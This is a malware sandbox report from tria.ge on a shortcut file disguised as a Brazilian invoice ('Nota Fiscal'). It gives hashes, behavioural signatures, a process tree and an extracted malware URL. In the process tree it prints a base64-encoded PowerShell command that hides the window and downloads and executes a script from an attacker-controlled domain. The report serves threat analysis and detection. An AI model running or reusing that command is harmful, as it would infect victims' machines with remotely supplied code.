Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
95s -
max time network
120s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
20/09/2024, 20:53
Static task
static1
Behavioral task
behavioral1
Sample
NotaFiscal_Danfe_N43553454BR.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
NotaFiscal_Danfe_N43553454BR.lnk
Resource
win10v2004-20240802-en
General
-
Target
NotaFiscal_Danfe_N43553454BR.lnk
-
Size
2KB
-
MD5
c3996410f80fd3137feb0f42074c71ca
-
SHA1
2da7caa8372ddb9e6601a029ed3d2128b5263b08
-
SHA256
11718e47eee14d48ff490b5443e430607968f9a18d95272e72e128c0c97c6234
-
SHA512
a706a0cd9c1a0443476067221786518a46c614a91f0937f384c7e8068d2ed85ff05e243e964556b34fc4c363d7296d229a47db1a37e78382825cf4f37294cb78
Malware Config
Extracted
https://sepogy.epiain.com/v2/gl.php?aHR0cHM6Ly9zZXBvZ3kuZXBpYWluLmNvbS92Mnw2NDhR%
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4220 powershell.exe 4220 powershell.exe 4220 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4220 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 428 wrote to memory of 4220 428 cmd.exe 83 PID 428 wrote to memory of 4220 428 cmd.exe 83 PID 4220 wrote to memory of 4944 4220 powershell.exe 84 PID 4220 wrote to memory of 4944 4220 powershell.exe 84 PID 4944 wrote to memory of 2360 4944 csc.exe 85 PID 4944 wrote to memory of 2360 4944 csc.exe 85
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\NotaFiscal_Danfe_N43553454BR.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:428 -
C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en cAB5ADsAYQBkAGQALQBUAFkAcABFACAALQBuAGEATQBFACAAQQAgAC0ATQBlAE0AYgBFAHIARABFAGYAaQBuAEkAVABpAE8ATgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAG4AQQBNAEUAcwBwAGEAQwBlACAAQgA7AFsAYgAuAEEAXQA6ADoAUwBIAE8AdwBXAEkAbgBkAE8AVwAoACgAWwBTAFkAcwB0AGUAbQAuAEQASQBhAGcATgBPAHMAVABpAEMAcwAuAFAAcgBPAEMAZQBzAHMAXQA6ADoAZwBlAHQAQwBVAFIAUgBlAG4AVABQAHIATwBDAEUAcwBTACgAKQAgAHwAIABQAFMAKQAuAE0AYQBJAE4AdwBpAG4ARABvAHcAaABhAG4ARABMAGUALAAwACkAOwBJAGUAWAAoAE4AZQBXAC0ATwBiAGoAZQBDAHQAIABOAGUAVAAuAFcAZQBiAEMATABpAGUAbgBUACkALgBEAE8AdwBOAEwATwBhAEQAUwBUAHIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAGUAcABvAGcAeQAuAGUAcABpAGEAaQBuAC4AYwBvAG0ALwB2ADIALwBnAGwALgBwAGgAcAA/AGEASABSADAAYwBIAE0ANgBMAHkAOQB6AFoAWABCAHYAWgAzAGsAdQBaAFgAQgBwAFkAVwBsAHUATABtAE4AdgBiAFMAOQAyAE0AbgB3ADIATgBEAGgAUgAlACcAKQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAEFD.tmp" "c:\Users\Admin\AppData\Local\Temp\1xp02vi4\CSC9FFE5B5FDDFF47A4B26A39C533A8278A.TMP"4⤵PID:2360
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f4ff9a5b00044d74b382028a2d95ff99
SHA1a608708c71e1ebab3b414c07dd33b661cb963559
SHA25638f1ea1a0721abf4d9eafe563c19212df7d21a49eb0a9d38e4ae4f719c53882b
SHA5123052aba03d923576628408b229582fcfa61b29789dd22870c2b3889a31508573dbfee91d489f8ba054b3c95738b2b3ddec613c32533ad203e834f54e35a4294e
-
Filesize
1KB
MD5b791f741b7abdc61ea61b44ac967dc65
SHA12c403a85ef57e64f04fcdc50f66d3f8ffc0a6d60
SHA25684e6bb4338684a94425470bf96ad2dcbc1bc7de8d3b751858e7d2af45c59a125
SHA512424236c42d07f0f702e03e65d85d679f3f6ddcc89ef11756809e9033da019772089c202fccea3a7b4f4796413ad78b95aac2b59a7ccc42628a9926ae1518898c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
187B
MD57b0e7177dfbb9edd1c1ef08b4fdfae2f
SHA1cb11a0252cdad66ec247312ccb7feb46456e52b6
SHA2566caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa
SHA5127322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd
-
Filesize
369B
MD5a669fc2747918368fa9efa09b62c51bc
SHA183577f7ee996ebeafecd8160c8dfbeb77d3e336a
SHA25696ad8432d23fbc544630dd49b1ac4e41e2fe5891e1a9359546afb41b082e7917
SHA512adcc844685807112e7892b9451dab733f5394a117a4f85eb328ca080181b4fd06c559e5a7b3df67c1e8562b3d2afe82562b5ed651915ae524342776f6ccd1106
-
Filesize
652B
MD5c620f6045aabfa2a1efb302f6e48916f
SHA1e0e79bd3b9bb7257b0daa2a29faa6fcae54ea915
SHA256e849ccd2f7c01a677f2bf207705f42807f718691c49186d03d8ef58d0ea87ba0
SHA51217b62f9dc8477931139d0b881ab04f952c88c3868a05007d7dd5d37fdbed7d1d2c3d2620e4e8db5528bb5dbeec13d98a282e684f77f77a83283207c18a7e29f0